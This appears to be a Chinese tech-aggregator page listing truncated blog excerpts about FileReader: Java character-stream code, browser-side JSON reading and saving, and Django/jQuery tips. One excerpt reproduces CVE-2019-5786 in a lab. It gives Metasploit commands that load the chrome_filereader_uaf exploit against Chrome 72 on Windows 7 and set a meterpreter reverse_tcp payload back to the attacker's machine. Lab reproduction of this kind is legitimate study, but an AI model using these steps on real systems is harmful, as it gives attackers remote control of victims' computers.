filereader

javase个人学习总结(十二)

风流意气都作罢 提交于 2020-03-01 01:36:21
io流的内容其实也很多,但大部分都是实际应用中年遇到的问题,所以也是挖坑,等日后遇到相关问题再总结到这里吧 Io流 1.可分为节点流和处理流,处理流作用于节点流(1,2)上,处理流关闭,节点流关闭,例如装饰设计模式,还可分为字节流(非文本文件),字符流(文本文件) 2.使用byte【】,char【】数组储存,读入时可能出现,文件不存在的异常,写出时,若指定文件没有,就会直接创建一个 Io流 1.可分为节点流和处理流,处理流作用于节点流(1,2)上,处理流关闭,节点流关闭,例如装饰设计模式,还可分为字节流(非文本文件),字符流(文本文件) 2.使用byte【】,char【】数组储存,读入时可能出现,文件不存在的异常,写出时,若指定文件没有,就会直接创建一个 //1.file类的实例化 File file = new File("hello.txt"); //2.FilerReader流的实例化 FileReader fileReader = new FileReader(file); //3.读入的操作 char[] cbuf = new char[5]; int num = fileReader.read(cbuf); while (num!=-1){ for (int i = 0;i < num;i++){ System.out.println(cbuf[i]); } num =

JAVA中字符流详解

左心房为你撑大大i 提交于 2020-02-29 00:05:04
字符流 :就是在字节流的基础上,加上编码,形成的数据流 字符流出现的意义 :因为字节流在操作字符时,可能会有中文导致的乱码,所以由字节流引申出了字符流。 字符输入流:Reader 常用子类:FileReader 文件字符输入流常用方法: read(); read( char [ ] ); read( char [ ] ,offset,len); 字符输出流: Writer 常用子类:文件字符输出流: Filewriter 文件字符输出常用方法: writer(); writer( char [ ] ); writer( char [ ] ,offset,len); writer(string); flush()刷新缓冲区 注意:close()方法默认调用了flush()方法,但是flush()方法只刷新缓冲区,而close()还会关闭IO流 字符输入流代码示例: 复制代码 import java . io . File ; import java . io . FileReader ; import java . io . IOException ; public class Demo5 { public static void main ( String [ ] args ) throws IOException { FileReader fr = new FileReader

js json数据保存到本地

孤人 提交于 2020-02-28 14:49:42
转自:https://www.cnblogs.com/gamedaybyday/p/9906542.html 使用HTML5来实现本地文件读取和写入 (FileReader读取json文件,FileSaver.js保存json文件) w3school <input>标签 FileReader WebAPI接口 FileSaver.js下载地址 FileSaver.js介绍 JS创建、写入、读取本地文件(txt) (ActiveXObject 这玩意根本不能用,IE10 和 Chrome都试了) HTML 5中的文件处理之File Writer API (FileSaver和FileWriter都是不能直接修改保存指定文件的,只能生成一个文件,然后浏览器以"下载"的形式保存) 一、读取本地JSON文件 1. 首先使用标签<input>创建一个读取的按钮 2. 然后选择本地的json文件后使用FileReader读取json文件的内容,此时读取的结果是字符串 3. 将读取的结果字符串使用JSON.parse转为json格式,之后再使用 <div> <input type="file" id="files"/> </div> <script> var inputElement = document.getElementById("files"); inputElement

CVE-2019-5786漏洞复现

流过昼夜 提交于 2020-02-28 14:46:58
漏洞影响范围: CVE-2019-5786适用于Windows 7 x86的Chrome 72.0.3626.119稳定FileReader UaF攻击。 环境 kali win7 x86 Google_Chrome_(32bit)_v72.0.3626.119 复现 kali启动msf,搜索chrome_filereader利用模块 root@kali:~# msfconsole -q msf5 > search chrome_filereader 选择模块,查看模块信息 msf5 > use exploit/windows/browser/chrome_filereader_uaf msf5 exploit(windows/browser/chrome_filereader_uaf) > info 漏洞介绍 选择payload msf5 exploit(windows/browser/chrome_filereader_uaf) > set payload windows/meterpreter/reverse_tcp 设置payload参数,LHOST设置为kali ip msf5 exploit(windows/browser/chrome_filereader_uaf) > set URIPATH / msf5 exploit(windows/browser/chrome

Java编程的逻辑 (58) - 文本文件和字符流

╄→гoц情女王★ 提交于 2020-02-26 22:20:15
上节我们介绍了如何以字节流的方式处理文件,我们提到,对于文本文件,字节流没有编码的概念,不能按行处理,使用不太方便,更适合的是使用字符流,本节就来介绍字符流。 我们首先简要介绍下文本文件的基本概念、与二进制文件的区别、编码、以及字符流和字节流的区别,然后我们介绍Java中的主要字符流,它们有: Reader/Writer:字符流的基类,它们是抽象类。 InputStreamReader/OutputStreamWriter:适配器类,输入是InputStream,输出是OutputStream,将字节流转换为字符流。 FileReader/FileWriter:输入源和输出目标是文件的字符流。 CharArrayReader/CharArrayWriter: 输入源和输出目标是char数组的字符流。 StringReader/StringWriter:输入源和输出目标是String的字符流。 BufferedReader/BufferedWriter:装饰类,对输入输出流提供缓冲,以及按行读写功能。 PrintWriter:装饰类,可将基本类型和对象转换为其字符串形式输出的类。 除了这些类,Java中还有一个类Scanner,类似于一个Reader,但不是Reader的子类,可以读取基本类型的字符串形式,类似于PrintWriter的逆操作。 理解了字节流和字符流后

IO流—字符流

廉价感情. 提交于 2020-02-17 15:31:42
1.字符流 我们操作的文件中有中文字符,需要对中文字符做出处理,这时用到了字符流 字符编码表 计算机底层数据存储的都是二进制数据,而我们生活中的各种各样的数据 , 老美他们就把每一个字符和一个整数对应起来,就形成了一张编码表,老美他们的编码表就是 ASCII 表。 编码表:其实就是生活中字符和计算机二进制的对应关系表。 1 、 ascii : 一个字节中的 7 位就可以表示。对应的字节都是正数。 0-xxxxxxx 2 、 iso-8859-1: 拉丁码表 latin ,用了一个字节用的 8 位。 1-xxxxxxx 负数。 3 、 GB2312: 简体中文码表。包含 6000-7000 中文和符号。用两个字节表示。两个字节 第一个字节是负数 , 第二个字节可能是正数 GBK: 目前最常用的中文码表, 2 万的中文和符号。用两个字节表示,其中的一部分文字,第一个字节开头是 1 ,第二字节开头是 0 GB18030 :最新的中文码表,目前还没有正式使用。 1、unicode :国际标准码表 : 无论是什么文字,都用两个字节存储。 Java中的char类型用的就是这个码表。char c = 'a';占两个字节。 Java中的字符串是按照系统默认码表来解析的。简体中文版 字符串默认的码表是GBK。 5 、 UTF-8: 基于 unicode ,一个字节就可以存储数据,不要用两个字节存储

java ->IO流_字符流

╄→尐↘猪︶ㄣ 提交于 2020-02-17 14:30:33
字符流 经过前面的学习,我们基本掌握的文件的读写操作,在操作过程中字节流可以操作所有数据,可是当我们操作的文件中有中文字符,并且需要对中文字符做出处理时怎么办呢? 字节流读取字符的问题 通过以下程序读取带有中文件的文件。 public class CharStreamDemo { public static void main(String[] args) throws IOException { //给文件中写中文 writeCNText (); //读取文件中的中文 readCNText (); } //读取中文 public static void readCNText() throws IOException { FileInputStream fis = new FileInputStream("c:\\cn.txt"); int ch = 0; while ((ch = fis.read())!=-1){ System. out .println(ch); } } //写中文 public static void writeCNText() throws IOException { FileOutputStream fos = new FileOutputStream("c:\\cn.txt"); fos.write("欢迎你".getBytes()); fos

HTML5 File API

喜你入骨 提交于 2020-02-16 04:41:04
HTML5 引入了一个 File API 用以提供用户上传文件的信息,并允许网页中的 JavaScript 访问其内容。 以下是一些表单 file 控件: <input type="file" accept="video/*;capture=camcorder"> <input type="file" accept="audio/*;capture=microphone"> <input type="file" accept="image/*;capture=camera">直接调用相机(测试安卓可以,iphone还是有相册) <input type="file" accept="image/*" />调用相机 图片或者相册 <input type="file" multiple accept="image/*" />调用相册 1 FileList 对象 FileList 对象针对表单的 file 控件。 当用户通过 file 控件选取文件后,这个控件的 files 属性值就是 FileList 对象。 // 多选控件 <input type='file' multiple /> <script> document.querySelector('input').onchange = function() { console.log(this.files); }; </script>

前端以及django零碎补充

偶尔善良 提交于 2020-02-13 16:02:30
前端 1. js的循环each 前端需要循环,可以借助each这个方法 var dic = {'key1':'value1','key2':'value2'}; var lis = ['1','3','2']; //each(变量, 方法) $.each(lis, function (index, obj) { console.log(index, obj) }) // 如果传入的变量是对象object(字典),那么方法中的index,和value分别是key和value //key1 value1 //key2 value2 //如果传入的变量是数组array(列表) , 那么方法中的index和value分别是索引和对应的值 // 0 '1' // 1 '3' // 2 '2' 2. 快速获得form标签下的普通输入标签的内容 serializeArray // serializeArray 方法可查看出form表单下面普通输入框的标签的内容,选择提交标签不行 res = $('#id_form').serializeArray(); console.log(res) 获得的标签内容,分别是name和value的值 3. img标签中src可输入的三种方式   a. 可以直接输入绝对路径   b. 可以输入url   c. 可以输入图片的二进制文件  (FileRead)

前端以及django零碎补充

末鹿安然 提交于 2020-02-13 16:02:15
前端 1. js的循环each 前端需要循环,可以借助each这个方法 var dic = {'key1':'value1','key2':'value2'}; var lis = ['1','3','2']; //each(变量, 方法) $.each(lis, function (index, obj) { console.log(index, obj) }) // 如果传入的变量是对象object(字典),那么方法中的index,和value分别是key和value //key1 value1 //key2 value2 //如果传入的变量是数组array(列表) , 那么方法中的index和value分别是索引和对应的值 // 0 '1' // 1 '3' // 2 '2' 2. 快速获得form标签下的普通输入标签的内容 serializeArray // serializeArray 方法可查看出form表单下面普通输入框的标签的内容,选择提交标签不行 res = $('#id_form').serializeArray(); console.log(res) 获得的标签内容,分别是name和value的值 3. img标签中src可输入的三种方式   a. 可以直接输入绝对路径   b. 可以输入url   c. 可以输入图片的二进制文件  (FileRead)